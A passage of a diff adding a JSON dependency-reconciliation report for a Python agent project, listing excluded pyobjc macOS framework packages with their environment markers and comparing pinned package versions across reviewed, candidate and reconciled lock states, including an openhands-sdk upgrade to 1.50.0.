"pyobjc-framework-iosurface", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"10.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-ituneslibrary", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"10.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-kernelmanagement", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"20.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-latentsemanticmapping", + "marker": "platform_machine == \"x86_64\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-launchservices", + "marker": "platform_machine == \"x86_64\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-libdispatch", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"12.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-libxpc", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"12.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-linkpresentation", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"19.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-localauthentication", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"14.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-localauthenticationembeddedui", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"21.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-mailkit", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"21.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-mapkit", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"13.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-mediaaccessibility", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"13.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-mediaextension", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"24.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-medialibrary", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"13.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-mediaplayer", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"16.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-mediatoolbox", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"13.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-metal", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"15.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-metalfx", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"22.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-metalkit", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"15.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-metalperformanceshaders", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"17.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-metalperformanceshadersgraph", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"20.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-metrickit", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"21.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-mlcompute", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"20.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-modelio", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"15.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-multipeerconnectivity", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"14.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-naturallanguage", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"18.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-netfs", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"10.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-network", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"18.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-networkextension", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"15.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-notificationcenter", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"14.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-opendirectory", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"10.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-osakit", + "marker": "platform_machine == \"x86_64\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-oslog", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"19.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-passkit", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"20.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-pencilkit", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"19.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-phase", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"21.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-photos", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"15.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-photosui", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"15.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-preferencepanes", + "marker": "platform_machine == \"x86_64\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-pushkit", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"19.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-quartz", + "marker": "platform_machine == \"x86_64\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-quicklookthumbnailing", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"19.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-replaykit", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"20.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-safariservices", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"16.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-safetykit", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"22.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-scenekit", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"11.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-screencapturekit", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"21.4\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-screensaver", + "marker": "platform_machine == \"x86_64\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-screentime", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"20.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-scriptingbridge", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"9.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-searchkit", + "marker": "platform_machine == \"x86_64\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-security", + "marker": "platform_machine == \"x86_64\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-securityfoundation", + "marker": "platform_machine == \"x86_64\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-securityinterface", + "marker": "platform_machine == \"x86_64\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-securityui", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"24.4\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-sensitivecontentanalysis", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"23.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-servicemanagement", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"10.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-sharedwithyou", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"22.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-sharedwithyoucore", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"22.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-shazamkit", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"21.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-social", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"12.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-soundanalysis", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"19.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-speech", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"19.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-spritekit", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"13.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-storekit", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"11.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-symbols", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"23.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-syncservices", + "marker": "platform_machine == \"x86_64\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-systemconfiguration", + "marker": "platform_machine == \"x86_64\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-systemextensions", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"19.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-threadnetwork", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"22.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-uniformtypeidentifiers", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"20.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-usernotifications", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"18.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-usernotificationsui", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"20.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-videosubscriberaccount", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"18.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-videotoolbox", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"12.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-virtualization", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"20.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-vision", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"17.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-webkit", + "marker": "platform_machine == \"x86_64\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + } + ] + }, + { + "role": "candidate_input", + "requirements": 176, + "selected": 176, + "excluded": [] + }, + { + "role": "reconciled", + "requirements": 176, + "selected": 176, + "excluded": [] + } + ], + "dependencies": [ + { + "name": "agent-client-protocol", + "reviewed_main": "0.12.1", + "candidate_input": "0.12.1", + "reconciled": "0.12.1", + "main_change": "unchanged" + }, + { + "name": "aiofile", + "reviewed_main": "3.9.0", + "candidate_input": "3.9.0", + "reconciled": "3.9.0", + "main_change": "unchanged" + }, + { + "name": "aiofiles", + "reviewed_main": "25.1.0", + "candidate_input": "25.1.0", + "reconciled": "25.1.0", + "main_change": "unchanged" + }, + { + "name": "aiohappyeyeballs", + "reviewed_main": "2.6.1", + "candidate_input": "2.6.1", + "reconciled": "2.6.1", + "main_change": "unchanged" + }, + { + "name": "aiohttp", + "reviewed_main": "3.14.3", + "candidate_input": "3.14.3", + "reconciled": "3.14.3", + "main_change": "unchanged" + }, + { + "name": "aiosignal", + "reviewed_main": "1.4.0", + "candidate_input": "1.4.0", + "reconciled": "1.4.0", + "main_change": "unchanged" + }, + { + "name": "annotated-types", + "reviewed_main": "0.7.0", + "candidate_input": "0.7.0", + "reconciled": "0.7.0", + "main_change": "unchanged" + }, + { + "name": "anthropic", + "reviewed_main": "0.75.0", + "candidate_input": "0.75.0", + "reconciled": "0.75.0", + "main_change": "unchanged" + }, + { + "name": "anyio", + "reviewed_main": "4.14.2", + "candidate_input": "4.14.2", + "reconciled": "4.14.2", + "main_change": "unchanged" + }, + { + "name": "attrs", + "reviewed_main": "25.3.0", + "candidate_input": "25.3.0", + "reconciled": "25.3.0", + "main_change": "unchanged" + }, + { + "name": "authlib", + "reviewed_main": "1.6.12", + "candidate_input": "1.6.12", + "reconciled": "1.6.12", + "main_change": "unchanged" + }, + { + "name": "backoff", + "reviewed_main": "2.2.1", + "candidate_input": "2.2.1", + "reconciled": "2.2.1", + "main_change": "unchanged" + }, + { + "name": "beartype", + "reviewed_main": "0.22.9", + "candidate_input": "0.22.9", + "reconciled": "0.22.9", + "main_change": "unchanged" + }, + { + "name": "beautifulsoup4", + "reviewed_main": "4.14.2", + "candidate_input": "4.14.2", + "reconciled": "4.14.2", + "main_change": "unchanged" + }, + { + "name": "binaryornot", + "reviewed_main": "0.4.4", + "candidate_input": "0.4.4", + "reconciled": "0.4.4", + "main_change": "unchanged" + }, + { + "name": "blake3", + "reviewed_main": "1.0.9", + "candidate_input": "1.0.9", + "reconciled": "1.0.9", + "main_change": "unchanged" + }, + { + "name": "browser-use", + "reviewed_main": "0.11.9", + "candidate_input": "0.11.9", + "reconciled": "0.11.9", + "main_change": "unchanged" + }, + { + "name": "browser-use-sdk", + "reviewed_main": "2.0.15", + "candidate_input": "2.0.15", + "reconciled": "2.0.15", + "main_change": "unchanged" + }, + { + "name": "bubus", + "reviewed_main": "1.5.6", + "candidate_input": "1.5.6", + "reconciled": "1.5.6", + "main_change": "unchanged" + }, + { + "name": "cachetools", + "reviewed_main": "7.1.8", + "candidate_input": "7.1.8", + "reconciled": "7.1.8", + "main_change": "unchanged" + }, + { + "name": "caio", + "reviewed_main": "0.9.25", + "candidate_input": "0.9.25", + "reconciled": "0.9.25", + "main_change": "unchanged" + }, + { + "name": "cdp-use", + "reviewed_main": "1.4.4", + "candidate_input": "1.4.4", + "reconciled": "1.4.4", + "main_change": "unchanged" + }, + { + "name": "certifi", + "reviewed_main": "2025.8.3", + "candidate_input": "2025.8.3", + "reconciled": "2025.8.3", + "main_change": "unchanged" + }, + { + "name": "cffi", + "reviewed_main": "2.0.0", + "candidate_input": "2.0.0", + "reconciled": "2.0.0", + "main_change": "unchanged" + }, + { + "name": "chardet", + "reviewed_main": "5.2.0", + "candidate_input": "5.2.0", + "reconciled": "5.2.0", + "main_change": "unchanged" + }, + { + "name": "charset-normalizer", + "reviewed_main": "3.4.3", + "candidate_input": "3.4.3", + "reconciled": "3.4.3", + "main_change": "unchanged" + }, + { + "name": "click", + "reviewed_main": "8.5.0", + "candidate_input": "8.3.3", + "reconciled": "8.5.0", + "main_change": "unchanged" + }, + { + "name": "cloudpickle", + "reviewed_main": "3.1.2", + "candidate_input": "3.1.2", + "reconciled": "3.1.2", + "main_change": "unchanged" + }, + { + "name": "cryptography", + "reviewed_main": "50.0.0", + "candidate_input": "50.0.0", + "reconciled": "50.0.0", + "main_change": "unchanged" + }, + { + "name": "cyclopts", + "reviewed_main": "4.6.0", + "candidate_input": "4.6.0", + "reconciled": "4.6.0", + "main_change": "unchanged" + }, + { + "name": "deprecation", + "reviewed_main": "2.1.0", + "candidate_input": "2.1.0", + "reconciled": "2.1.0", + "main_change": "unchanged" + }, + { + "name": "distro", + "reviewed_main": "1.9.0", + "candidate_input": "1.9.0", + "reconciled": "1.9.0", + "main_change": "unchanged" + }, + { + "name": "dnspython", + "reviewed_main": "2.8.0", + "candidate_input": "2.8.0", + "reconciled": "2.8.0", + "main_change": "unchanged" + }, + { + "name": "docstring-parser", + "reviewed_main": "0.17.0", + "candidate_input": "0.17.0", + "reconciled": "0.17.0", + "main_change": "unchanged" + }, + { + "name": "docutils", + "reviewed_main": "0.22.2", + "candidate_input": "0.22.2", + "reconciled": "0.22.2", + "main_change": "unchanged" + }, + { + "name": "email-validator", + "reviewed_main": "2.3.0", + "candidate_input": "2.3.0", + "reconciled": "2.3.0", + "main_change": "unchanged" + }, + { + "name": "exceptiongroup", + "reviewed_main": "1.3.0", + "candidate_input": "1.3.0", + "reconciled": "1.3.0", + "main_change": "unchanged" + }, + { + "name": "fakeredis", + "reviewed_main": "2.34.1", + "candidate_input": "2.34.1", + "reconciled": "2.34.1", + "main_change": "unchanged" + }, + { + "name": "fastmcp", + "reviewed_main": "3.2.0", + "candidate_input": "3.2.0", + "reconciled": "3.2.0", + "main_change": "unchanged" + }, + { + "name": "fastuuid", + "reviewed_main": "0.14.0", + "candidate_input": "0.14.0", + "reconciled": "0.14.0", + "main_change": "unchanged" + }, + { + "name": "filelock", + "reviewed_main": "3.20.3", + "candidate_input": "3.20.3", + "reconciled": "3.20.3", + "main_change": "unchanged" + }, + { + "name": "frozenlist", + "reviewed_main": "1.8.0", + "candidate_input": "1.8.0", + "reconciled": "1.8.0", + "main_change": "unchanged" + }, + { + "name": "fsspec", + "reviewed_main": "2025.9.0", + "candidate_input": "2025.9.0", + "reconciled": "2025.9.0", + "main_change": "unchanged" + }, + { + "name": "func-timeout", + "reviewed_main": "4.3.5", + "candidate_input": "4.3.5", + "reconciled": "4.3.5", + "main_change": "unchanged" + }, + { + "name": "google-api-core", + "reviewed_main": "2.31.0", + "candidate_input": "2.31.0", + "reconciled": "2.31.0", + "main_change": "unchanged" + }, + { + "name": "google-api-python-client", + "reviewed_main": "2.184.0", + "candidate_input": "2.184.0", + "reconciled": "2.184.0", + "main_change": "unchanged" + }, + { + "name": "google-auth", + "reviewed_main": "2.53.0", + "candidate_input": "2.53.0", + "reconciled": "2.53.0", + "main_change": "unchanged" + }, + { + "name": "google-auth-httplib2", + "reviewed_main": "0.2.0", + "candidate_input": "0.2.0", + "reconciled": "0.2.0", + "main_change": "unchanged" + }, + { + "name": "google-auth-oauthlib", + "reviewed_main": "1.2.2", + "candidate_input": "1.2.2", + "reconciled": "1.2.2", + "main_change": "unchanged" + }, + { + "name": "google-genai", + "reviewed_main": "1.75.0", + "candidate_input": "1.75.0", + "reconciled": "1.75.0", + "main_change": "unchanged" + }, + { + "name": "googleapis-common-protos", + "reviewed_main": "1.70.0", + "candidate_input": "1.70.0", + "reconciled": "1.70.0", + "main_change": "unchanged" + }, + { + "name": "groq", + "reviewed_main": "0.32.0", + "candidate_input": "0.32.0", + "reconciled": "0.32.0", + "main_change": "unchanged" + }, + { + "name": "grpcio", + "reviewed_main": "1.76.0", + "candidate_input": "1.76.0", + "reconciled": "1.76.0", + "main_change": "unchanged" + }, + { + "name": "h11", + "reviewed_main": "0.16.0", + "candidate_input": "0.16.0", + "reconciled": "0.16.0", + "main_change": "unchanged" + }, + { + "name": "hf-xet", + "reviewed_main": "1.1.10", + "candidate_input": "1.1.10", + "reconciled": "1.1.10", + "main_change": "unchanged" + }, + { + "name": "httpcore", + "reviewed_main": "1.0.9", + "candidate_input": "1.0.9", + "reconciled": "1.0.9", + "main_change": "unchanged" + }, + { + "name": "httplib2", + "reviewed_main": "0.32.0", + "candidate_input": "0.32.0", + "reconciled": "0.32.0", + "main_change": "unchanged" + }, + { + "name": "httpx", + "reviewed_main": "0.28.1", + "candidate_input": "0.28.1", + "reconciled": "0.28.1", + "main_change": "unchanged" + }, + { + "name": "httpx-sse", + "reviewed_main": "0.4.3", + "candidate_input": "0.4.3", + "reconciled": "0.4.3", + "main_change": "unchanged" + }, + { + "name": "huggingface-hub", + "reviewed_main": "0.35.3", + "candidate_input": "0.35.3", + "reconciled": "0.35.3", + "main_change": "unchanged" + }, + { + "name": "idna", + "reviewed_main": "3.15", + "candidate_input": "3.15", + "reconciled": "3.15", + "main_change": "unchanged" + }, + { + "name": "importlib-metadata", + "reviewed_main": "8.5.0", + "candidate_input": "8.5.0", + "reconciled": "8.5.0", + "main_change": "unchanged" + }, + { + "name": "inquirerpy", + "reviewed_main": "0.3.4", + "candidate_input": "0.3.4", + "reconciled": "0.3.4", + "main_change": "unchanged" + }, + { + "name": "jaraco-classes", + "reviewed_main": "3.4.0", + "candidate_input": "3.4.0", + "reconciled": "3.4.0", + "main_change": "unchanged" + }, + { + "name": "jaraco-context", + "reviewed_main": "6.1.0", + "candidate_input": "6.1.0", + "reconciled": "6.1.0", + "main_change": "unchanged" + }, + { + "name": "jaraco-functools", + "reviewed_main": "4.4.0", + "candidate_input": "4.4.0", + "reconciled": "4.4.0", + "main_change": "unchanged" + }, + { + "name": "jeepney", + "reviewed_main": "0.9.0", + "candidate_input": "0.9.0", + "reconciled": "0.9.0", + "main_change": "unchanged" + }, + { + "name": "jinja2", + "reviewed_main": "3.1.6", + "candidate_input": "3.1.6", + "reconciled": "3.1.6", + "main_change": "unchanged" + }, + { + "name": "jiter", + "reviewed_main": "0.11.0", + "candidate_input": "0.11.0", + "reconciled": "0.11.0", + "main_change": "unchanged" + }, + { + "name": "joserfc", + "reviewed_main": "1.7.5", + "candidate_input": "1.7.5", + "reconciled": "1.7.5", + "main_change": "unchanged" + }, + { + "name": "json-repair", + "reviewed_main": "0.60.1", + "candidate_input": "0.60.1", + "reconciled": "0.60.1", + "main_change": "unchanged" + }, + { + "name": "jsonref", + "reviewed_main": "1.1.0", + "candidate_input": "1.1.0", + "reconciled": "1.1.0", + "main_change": "unchanged" + }, + { + "name": "jsonschema", + "reviewed_main": "4.23.0", + "candidate_input": "4.23.0", + "reconciled": "4.23.0", + "main_change": "unchanged" + }, + { + "name": "jsonschema-path", + "reviewed_main": "0.3.4", + "candidate_input": "0.3.4", + "reconciled": "0.3.4", + "main_change": "unchanged" + }, + { + "name": "jsonschema-specifications", + "reviewed_main": "2025.9.1", + "candidate_input": "2025.9.1", + "reconciled": "2025.9.1", + "main_change": "unchanged" + }, + { + "name": "keyring", + "reviewed_main": "25.7.0", + "candidate_input": "25.7.0", + "reconciled": "25.7.0", + "main_change": "unchanged" + }, + { + "name": "libtmux", + "reviewed_main": "0.53.0", + "candidate_input": "0.53.0", + "reconciled": "0.53.0", + "main_change": "unchanged" + }, + { + "name": "litellm", + "reviewed_main": "1.93.0", + "candidate_input": "1.93.0", + "reconciled": "1.93.0", + "main_change": "unchanged" + }, + { + "name": "lmnr", + "reviewed_main": "0.7.60", + "candidate_input": "0.7.60", + "reconciled": "0.7.60", + "main_change": "unchanged" + }, + { + "name": "lmnr-claude-code-proxy", + "reviewed_main": "0.1.23", + "candidate_input": "0.1.23", + "reconciled": "0.1.23", + "main_change": "unchanged" + }, + { + "name": "lupa", + "reviewed_main": "2.8", + "candidate_input": "2.8", + "reconciled": "2.8", + "main_change": "unchanged" + }, + { + "name": "lxml", + "reviewed_main": "6.1.0", + "candidate_input": "6.1.0", + "reconciled": "6.1.0", + "main_change": "unchanged" + }, + { + "name": "markdown-it-py", + "reviewed_main": "4.0.0", + "candidate_input": "4.0.0", + "reconciled": "4.0.0", + "main_change": "unchanged" + }, + { + "name": "markdownify", + "reviewed_main": "1.2.0", + "candidate_input": "1.2.0", + "reconciled": "1.2.0", + "main_change": "unchanged" + }, + { + "name": "markupsafe", + "reviewed_main": "3.0.2", + "candidate_input": "3.0.2", + "reconciled": "3.0.2", + "main_change": "unchanged" + }, + { + "name": "mcp", + "reviewed_main": "1.28.1", + "candidate_input": "1.28.1", + "reconciled": "1.28.1", + "main_change": "unchanged" + }, + { + "name": "mdurl", + "reviewed_main": "0.1.2", + "candidate_input": "0.1.2", + "reconciled": "0.1.2", + "main_change": "unchanged" + }, + { + "name": "more-itertools", + "reviewed_main": "10.8.0", + "candidate_input": "10.8.0", + "reconciled": "10.8.0", + "main_change": "unchanged" + }, + { + "name": "multidict", + "reviewed_main": "6.7.0", + "candidate_input": "6.7.0", + "reconciled": "6.7.0", + "main_change": "unchanged" + }, + { + "name": "oauthlib", + "reviewed_main": "3.3.1", + "candidate_input": "3.3.1", + "reconciled": "3.3.1", + "main_change": "unchanged" + }, + { + "name": "ollama", + "reviewed_main": "0.6.0", + "candidate_input": "0.6.0", + "reconciled": "0.6.0", + "main_change": "unchanged" + }, + { + "name": "openai", + "reviewed_main": "2.33.0", + "candidate_input": "2.33.0", + "reconciled": "2.33.0", + "main_change": "unchanged" + }, + { + "name": "openapi-pydantic", + "reviewed_main": "0.5.1", + "candidate_input": "0.5.1", + "reconciled": "0.5.1", + "main_change": "unchanged" + }, + { + "name": "openhands-sdk", + "reviewed_main": "1.49.6", + "candidate_input": "1.50.0", + "reconciled": "1.50.0", + "main_change": "sdk_upgrade" + }, + { + "name": "openhands-tools", + "reviewed_main": "1.49.6", + "candidate_input": "1.50.0", + "reconciled": "1.50.0", + "main_change": "sdk_upgrade" + }, + { + "name": "opentelemetry-api", + "reviewed_main": "1.39.1", + "candidate_input": "1.39.1", + "reconciled": "1.39.1", + "main_change": "unchanged" + }, + { + "name": "opentelemetry-exporter-otlp-proto-common", + "reviewed_main": "1.39.1", + "candidate_input": "1.39.1", + "reconciled": "1.39.1", + "main_change": "unchanged" + }, + { + "name": "opentelemetry-exporter-otlp-proto-grpc", + "reviewed_main": "1.39.1", + "candidate_input": "1.39.1", + "reconciled": "1.39.1", + "main_change": "unchanged" + }, + { + "name": "opentelemetry-exporter-otlp-proto-http", + "reviewed_main": "1.39.1", + "candidate_input": "1.39.1", + "reconciled": "1.39.1", + "main_change": "unchanged" + }, + { + "name": "opentelemetry-instrumentation", + "reviewed_main": "0.60b1", + "candidate_input": "0.60b1", + "reconciled": "0.60b1", + "main_change": "unchanged" + }, + { + "name": "opentelemetry-instrumentation-threading", + "reviewed_main": "0.60b1", + "candidate_input": "0.60b1", + "reconciled": "0.60b1", + "main_change": "unchanged" + }, + { + "name": "opentelemetry-proto", + "reviewed_main": "1.39.1", + "candidate_input": "1.39.1", + "reconciled": "1.39.1", + "main_change": "unchanged" + }, + { + "name": "opentelemetry-sdk", + "reviewed_main": "1.39.1", + "candidate_input": "1.39.1", + "reconciled": "1.39.1", + "main_change": "unchanged" + }, + { + "name": "opentelemetry-semantic-conventions", + "reviewed_main": "0.60b1", + "candidate_input": "0.60b1", + "reconciled": "0.60b1", + "main_change": "unchanged" + }, + { + "name": "opentelemetry-semantic-conventions-ai", + "reviewed_main": "0.4.13", + "candidate_input": "0.4.13", + "reconciled": "0.4.13", + "main_change": "unchanged" + }, + { + "name": "orjson", + "reviewed_main": "3.11.7", + "candidate_input": "3.11.7", + "reconciled": "3.11.7", + "main_change": "unchanged" + }, + { + "name": "packaging", + "reviewed_main": "26.3", + "candidate_input": "26.3", + "reconciled": "26.3", + "main_change": "unchanged" + }, + { + "name": "pathable", + "reviewed_main": "0.4.4", + "candidate_input": "0.4.4", + "reconciled": "0.4.4", + "main_change": "unchanged" + }, + { + "name": "pfzy", + "reviewed_main": "0.3.4", + "candidate_input": "0.3.4", + "reconciled": "0.3.4", + "main_change": "unchanged" + }, + { + "name": "pillow", + "reviewed_main": "12.3.0", + "candidate_input": "12.3.0", + "reconciled": "12.3.0", + "main_change": "unchanged" + }, + { + "name": "platformdirs", + "reviewed_main": "4.4.0", + "candidate_input": "4.4.0", + "reconciled": "4.4.0", + "main_change": "unchanged" + }, + { + "name": "portalocker", + "reviewed_main": "2.10.1", + "candidate_input": "2.10.1", + "reconciled": "2.10.1", + "main_change": "unchanged" + }, + { + "name": "posthog", + "reviewed_main": "6.7.7", + "candidate_input": "6.7.7", + 